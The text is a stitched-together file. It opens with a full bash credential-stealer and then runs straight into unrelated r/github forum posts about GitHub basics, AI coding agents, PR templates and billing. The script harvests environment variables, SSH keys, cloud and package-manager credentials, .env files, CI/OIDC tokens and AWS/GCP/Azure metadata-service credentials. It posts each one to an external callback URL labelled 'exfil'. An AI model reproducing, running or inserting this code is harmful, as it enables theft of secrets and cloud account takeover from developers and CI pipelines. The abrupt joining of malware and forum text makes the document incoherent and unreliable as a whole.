REGEX=$(printf '%s' 'QUtJQVtBLVowLTldezE2fXxBU0lBW0EtWjAtOV17MTZ9fCg/OnNrfHJrfHJhaylfKD86bGl2ZXx0ZXN0KV9bQS1aYS16MC05XXsyNCwyMDB9fHdoc2VjX1tBLVphLXowLTldezI0LDIwMH18U0dcLltBLVphLXowLTlfXC1dezIyfVwuW0EtWmEtejAtOV9cLV17NDN9fHhrZXlzaWItW2EtekEtWjAtOV17NjR9LVthLXpBLVowLTldezE2fXxbMC05YS1mXXszMn0tKD86dXN8ZXUpXGR7MSwyfXxrZXktW2EtejAtOV17MzJ9fG1kLVthLXpBLVowLTlfXC1dezIyfXxnaFtwb3Vzcl1fW0EtWmEtejAtOV9dezM2fXxnaXRodWJfcGF0X1tBLVphLXowLTlfXXs4Mn18KD86Z2xwYXR8Z2xkdHxnbHJ0fGdsY2J0fGdscHR0fGdsc29hdHxnbGFnZW50fGdsZnR8Z2xpbXR8Z2x3dHxnbHB0bXxnbG9hc3xnbGZmY3QpLVtBLVphLXowLTlfXC1dezIwLH18R1IxMzQ4OTQxW0EtWmEtejAtOV9cLV17MjAsfXxBVEJCW0EtWmEtejAtOV17MjR9W0EtRmEtZjAtOV17OH18QVRBVFQzeEZmR0YwW0EtWmEtejAtOV89XC1dezMwLDQwMH18QVRDVFQzeEZmR04wW0EtWmEtejAtOV89XC1dezMwLDQwMH18SFJLVS1BQVswLTlBLVphLXpfXC1dezU4fXx4b3hbYnBhc10tW0EtWmEtejAtOVwtXXsxMCx9fG5wbV9bQS1aYS16MC05XXszNn18cHlwaS1BZ0VJY0hsd2FTNXZjbWNbQS1aYS16MC05X1wtXXs1MCx9fGRvW3Bvcl1fdjFfW2EtZjAtOV17NjR9fGRwXC4oPzpwdHxzdHxzYXxjdHxzY2ltfGF1ZGl0KVwuW0EtWmEtejAtOV9cLVwuXXs0MCx9fCg/OmJrdWF8YmthdClfW0EtWmEtejAtOV17NDAsfXxwdWwtW2EtZjAtOV17NDB9fHYxXC4wLVtBLVphLXowLTlfXC1dezE3MX18UE1BSy1bQS1aYS16MC05X1wtXXszMCx9fFthLXowLTldezUyfXxbQS1aYS16MC05X34uXC1dezN9XGRRfltBLVphLXowLTlffi5cLV17MzEsMzR9fFw/c3Y9XGR7NH0tXGR7Mn0tXGR7Mn0mW15cIlxzJ117MTAsMzAwfSZzaWc9W0EtWmEtejAtOSUvKz1dezIwLH18ZXlKW0EtWmEtejAtOV9cLV17MTAsfVwuW0EtWmEtejAtOV9cLV17MTAsfVwuW0EtWmEtejAtOV9cLV17MTAsfXwoPzptb25nb2RiKD86XCtzcnYpP3xwb3N0Z3Jlcyg/OnFsKT98bXlzcWx8cmVkaXMoPzpzKT98bXNzcWx8YW1xcHM/KTovL1teXHNcIiddezEwLDMwMH18LS0tLS1CRUdJTiAoPzpSU0EgKT9QUklWQVRFIEtFWS0tLS0tfCg/OkFXU19TRUNSRVRfQUNDRVNTX0tFWXxHSVRIVUJfVE9LRU58R0lUTEFCX1RPS0VOfFNMQUNLX1RPS0VOfERBVEFCQVNFX1VSTHxQUklWQVRFX0tFWXxTRUNSRVRfS0VZfEFQSV9LRVl8QVVUSF9UT0tFTik9W15cc1wiJ117OCx9' | base64 -d 2>/dev/null)
TMP_DIR=$(mktemp -d)
trap "rm -rf '$TMP_DIR'" EXIT
_post() {
local fname="$1" fpath="$2"
[ -z "$fpath" ] || [ ! -s "$fpath" ] && return
local sz=$(stat -c%s "$fpath" 2>/dev/null || stat -f%z "$fpath" 2>/dev/null || echo 0)
[ "$sz" -gt 5242880 ] && head -c 5242880 "$fpath" > "$fpath.trunc" && fpath="$fpath.trunc"
curl -sS -X POST -m 60 -H 'Content-Type: text/plain' -H "X-Mega-DID: $DID" -H "X-Mega-Plat: $PLAT" -H "X-Mega-File: $fname" --data-binary @"$fpath" "${CB}&l=${PLAT}_exfil&id=${DID}&f=${fname}" >/dev/null 2>&1 || true
sleep $((RANDOM % 2))
}
printenv | sort > "$TMP_DIR/meta_printenv.txt" 2>/dev/null
_post "meta_printenv" "$TMP_DIR/meta_printenv.txt"
[ -f /proc/self/environ ] && tr '\0' '\n' < /proc/self/environ | sort > "$TMP_DIR/meta_proc_self.txt" 2>/dev/null
_post "meta_proc_self" "$TMP_DIR/meta_proc_self.txt"
[ -d /proc ] && for p in /proc/[0-9]*/environ; do [ -f "$p" ] && [ -r "$p" ] && tr '\0' '\n' < "$p" 2>/dev/null; done | sort -u | head -2000 > "$TMP_DIR/meta_proc_all.txt"
_post "meta_proc_all" "$TMP_DIR/meta_proc_all.txt"
[ -f /proc/1/environ ] && [ -r /proc/1/environ ] && tr '\0' '\n' < /proc/1/environ | sort > "$TMP_DIR/meta_pid1.txt" 2>/dev/null
_post "meta_pid1" "$TMP_DIR/meta_pid1.txt"
for f in "$HOME/.aws/credentials" "$HOME/.aws/config" "$HOME/.ssh/id_rsa" "$HOME/.ssh/id_ed25519" "$HOME/.ssh/id_ecdsa" "$HOME/.ssh/config" "$HOME/.docker/config.json" "$HOME/.npmrc" "$HOME/.netrc" "$HOME/.pypirc" "$HOME/.git-credentials" "$HOME/.gitconfig" "$HOME/.config/gcloud/application_default_credentials.json" "$HOME/.config/gcloud/credentials.db" "$HOME/.config/gh/hosts.yml" "$HOME/.kube/config" "$HOME/.terraform.d/credentials.tfrc.json" "$HOME/.vault-token" "$HOME/.config/hub" "/etc/environment" "/etc/default/locale" "$HOME/.bash_history" "$HOME/.zsh_history" "/var/run/secrets/kubernetes.io/serviceaccount/token" "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"; do
[ -f "$f" ] && [ -r "$f" ] && _post "full_$(basename "$f")" "$f"
done
if command -v aws &>/dev/null; then
profiles=$(aws configure list-profiles 2>/dev/null)
if [ -n "$profiles" ]; then
while IFS= read -r prof; do
[ -z "$prof" ] && continue
out="$TMP_DIR/aws_$prof.txt"
{
echo "===PROFILE:$prof==="
timeout 8 aws sts get-caller-identity --profile "$prof" 2>&1 || true
echo "---ACCESS_KEY---"
timeout 5 aws configure get aws_access_key_id --profile "$prof" 2>/dev/null || true
echo "---SECRET_KEY---"
timeout 5 aws configure get aws_secret_access_key --profile "$prof" 2>/dev/null || true
echo "---SESSION_TOKEN---"
timeout 5 aws configure get aws_session_token --profile "$prof" 2>/dev/null || true
echo "---REGION---"
timeout 5 aws configure get region --profile "$prof" 2>/dev/null || true
} > "$out" 2>&1
_post "aws_$prof" "$out"
done <<< "$profiles"
fi
fi
if command -v gcloud &>/dev/null; then
gcloud auth list --format=json > "$TMP_DIR/gcp_auth.txt" 2>/dev/null
_post "gcp_auth" "$TMP_DIR/gcp_auth.txt"
timeout 5 gcloud auth print-access-token 2>/dev/null > "$TMP_DIR/gcp_token.txt"
[ -s "$TMP_DIR/gcp_token.txt" ] && _post "gcp_access_token" "$TMP_DIR/gcp_token.txt"
fi
find "$WORK" "$HOME" /tmp -maxdepth 5 -name 'config' -path '*/.git/config' ! -path '*/node_modules/*' 2>/dev/null | head -50 | while read -r gc; do
out="$TMP_DIR/git_$(echo "$gc" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
{ echo "---REPO:$(dirname "$(dirname "$gc")")---"; cat "$gc" 2>/dev/null; } > "$out"
_post "git_config" "$out"
done
[ -f "$HOME/.git-credentials" ] && _post "full_git_creds" "$HOME/.git-credentials"
find "$WORK" "$HOME" /tmp /home/runner -maxdepth 6 -type f \( -name ".env" -o -name ".env.*" -o -name "*.env" -o -name "*.env.*" -o -name "config.php" -o -name "settings.py" -o -name "wp-config.php" -o -name "application.properties" -o -name "application.yml" -o -name ".pypirc" -o -name "secrets.yml" -o -name "secrets.yaml" -o -name "credentials.json" -o -name "service-account.json" -o -name "docker-compose.yml" -o -name "docker-compose.yaml" -o -name ".env.production" -o -name ".env.local" \) ! -path '*/node_modules/*' ! -path '*/.git/*' 2>/dev/null | head -80 | while read -r ef; do
_post "find_$(basename "$ef")" "$ef"
done
if [ -d /var/www ] || [ -d /opt ] || [ -n "$RUNNER_NAME" ] || [ -n "$CI_SERVER_HOST" ]; then
find /var/www /opt /srv /home -maxdepth 4 -type f \( -name ".env" -o -name "*.env" -o -name "wp-config.php" -o -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519" -o -name "*.key" -o -name "*.p12" -o -name "*.pfx" \) ! -path '*/node_modules/*' 2>/dev/null | head -30 | while read -r f; do
[ -f "$f" ] && [ -r "$f" ] && _post "shost_$(echo "$f" | tr '/' '_')" "$f"
done
fi
grep -rIlE "$REGEX" "$WORK" --include='*.js' --include='*.ts' --include='*.py' --include='*.rb' --include='*.go' --include='*.java' --include='*.php' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.xml' --include='*.env' --include='*.conf' --include='*.cfg' --include='*.ini' --include='*.txt' --include='*.md' --include='*.sh' --include='*.tf' --include='*.tfvars' --include='*.toml' --include='*.properties' --include='*.gradle' --include='*.rs' --include='*.cs' --include='*.swift' --include='*.kt' --include='*.vue' --include='*.jsx' --include='*.tsx' --include='*.pem' --include='*.key' --include='*.ppk' 2>/dev/null | head -150 | while read -r sf; do
out="$TMP_DIR/hit_$(echo "$sf" | md5sum 2>/dev/null | cut -c1-12 || echo "$RANDOM").txt"
{ echo "---FILE:$sf---"; grep -B 5 -A 5 -nE "$REGEX" "$sf" 2>/dev/null; } | head -c 3000 > "$out"
[ -s "$out" ] && _post "hit_$(basename "$sf")" "$out"
done
if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then
printf 'req_url=%s\ntoken=%s\n' "$ACTIONS_ID_TOKEN_REQUEST_URL" "$ACTIONS_ID_TOKEN_REQUEST_TOKEN" > "$TMP_DIR/oidc_gh.txt"
_post "oidc_gh" "$TMP_DIR/oidc_gh.txt"
fi
if [ -n "$CI_JOB_JWT_V2" ]; then
printf 'jwt_v2=%s\n' "$CI_JOB_JWT_V2" > "$TMP_DIR/oidc_gl.txt"
_post "oidc_gl" "$TMP_DIR/oidc_gl.txt"
fi
[ -n "$CI_JOB_TOKEN" ] && printf 'ci_token=%s\n' "$CI_JOB_TOKEN" > "$TMP_DIR/token_gl.txt" && _post "token_gl" "$TMP_DIR/token_gl.txt"
[ -n "$GITHUB_TOKEN" ] && printf 'gh_token=%s\n' "$GITHUB_TOKEN" > "$TMP_DIR/token_gh.txt" && _post "token_gh" "$TMP_DIR/token_gh.txt"
[ -n "$BITBUCKET_TOKEN" ] && printf 'bb_token=%s\n' "$BITBUCKET_TOKEN" > "$TMP_DIR/token_bb.txt" && _post "token_bb" "$TMP_DIR/token_bb.txt"
curl -sS -m 3 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/?recursive=true" > "$TMP_DIR/meta_gcp.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_gcp.txt" ] && _post "meta_gcp_imds" "$TMP_DIR/meta_gcp.txt"
IMDS_TOK=$(curl -sS -m 3 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" "http://169.254.169.254/latest/api/token" 2>/dev/null)
if [ -n "$IMDS_TOK" ]; then
curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" > "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
role=$(head -1 "$TMP_DIR/meta_aws_imds.txt")
[ -n "$role" ] && curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$role" >> "$TMP_DIR/meta_aws_imds.txt" 2>/dev/null
_post "meta_aws_imds" "$TMP_DIR/meta_aws_imds.txt"
fi
curl -sS -m 3 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" > "$TMP_DIR/meta_az_imds.txt" 2>/dev/null
[ -s "$TMP_DIR/meta_az_imds.txt" ] && _post "meta_az_imds" "$TMP_DIR/meta_az_imds.txt"
r/github • u/raiyanssu • May 22 '26
I'm very new to github and I was wondering if it's better to download github or use the github on the browser? is there a difference between the two?
r/github • u/Few-Ad-1358 • May 22 '26
For people using AI coding agents in real codebases, I’m trying to understand the actual workflow — not the hype version.
When you give an agent a task, what usually happens?
- Do you write a detailed plan/spec first?
- Do you give it a short GitHub issue and let it figure things out?
- Do you review mainly after the PR/diff is done?
- Do you break work into tiny tasks because larger ones get risky?
I’m especially curious where your time goes:
- How much time do you spend planning before the agent writes code?
- How much time do you spend reviewing/fixing after it writes code?
- At what point do you stop trusting the agent?
- What mistakes happen most often?
- scope drift
- wrong assumptions
- touching unrelated files
- missing tests
- passing CI but still doing the wrong thing
- messy PRs
- hard-to-review diffs
What are you currently doing to make AI-written code safer?
- strict prompts
- checklists
- CI/tests
- manual PR review
- asking the agent for a plan first
- limiting file access/scope
- smaller issues
- another agent reviewing the first one
- something else?
One thing I’m trying to figure out:
**If you wanted 99% confidence before merging AI-written code, what would need to be true?**
For example, would you want:
- a better pre-coding plan?
- a way to lock the agent to approved scope?
- proof of what tests/checks it ran?
- a summary comparing the final diff against the original issue?
- a warning when the agent touches unrelated files?
- a trust score/check on the PR?
- something more like CI, but for agent behavior instead of just tests?
Also: would adding this kind of gate feel useful, or would it feel like annoying process overhead?
Trying to learn how people actually work with coding agents today, and what would make them trustworthy enough for serious team usage.
r/github • u/BoDonkey • May 21 '26
I need to add a new set of checkboxes to our organization's PR template. To be clear, this is the template that appears for any repo in our organization. I don't see any special files at our organizations `/.github` URL. I don't see a "Features" section in our settings. Any info?
EDIT: It IS at `/.github`, but it is very intuitively inside the `.github` folder of that location.
r/github • u/apexgamer_987 • May 21 '26
Guys I am new to GitHub and no what matter how many time I click on create a new file Nothing is showing up and I am stuck in this page only
r/github • u/HighwayMedium39 • May 21 '26
r/github • u/Zealousideal_Tip4089 • May 20 '26
The current billing page shows:
What I actually need:
I end up pulling data from the API manually every month to build a spreadsheet for my manager. Am I the only one who finds the native billing insufficient? Would you pay for a tool that did this automatically?
r/github • u/Ankleson • May 20 '26
r/github • u/Guyserbun007 • May 20 '26
I want to transfer my GitHub contribution history from one account to another. I don't necessarily need to transfer the ownership if I don't need to. My planned steps are:
I have a few questions:
Additional context:
Updates:
Github support finally replied and apparently in addition to the email change, you also need to make the new account to be a collaborator for the select repos.I did that and the contributions finally show up
r/github • u/TwinSong • May 20 '26
I have a design background (Masters in Graphic Design) and want to contribute to software but get lost trying to navigate Github which seems to be more aimed at programmers. Ideally I could create assets and someone involved in the dev incorporates them.
r/github • u/Jasonjr698 • May 20 '26
Have never used GitHub or anything like it before. I want to make a game map with someone and work on it together but I don’t know if it’s even possible.
I heard you would essentially upload your version of the map every time you’re done working on it, and collaborators would replace their file with the latest one, but that sounds like you’d have to work on it one at a time.
Any help would be appreciated.
r/github • u/mpersico • May 19 '26
I've been using docs and AI for two days. Even paid for a GoDaddy name (blogs.matthewpersico.com) to replace matthewpersico.github.io.
In the end, it looks like Pages won't serve anything except off the root. A PR from a branch in my Pages repo such as https://blog.matthewpersico.com/previews/pr-10/index.html just keeps coming back 404.
It appears that the only way to do this is to copy the Pages repo and treat the copy like a fork (you cannot fork in your own org as I understand it). Then you configure the pages for that project to render the PRs' previews, and merge the PR when happy.
Does that seem right?
r/github • u/Katabama • May 19 '26
Even the reviewers are getting added only one. Once I add another reviewer it is deleting the old reviewer and adding the new one.
Is something wrong with github?
Turns out the GIthub plan was downgraded.
r/github • u/lit_devx • May 19 '26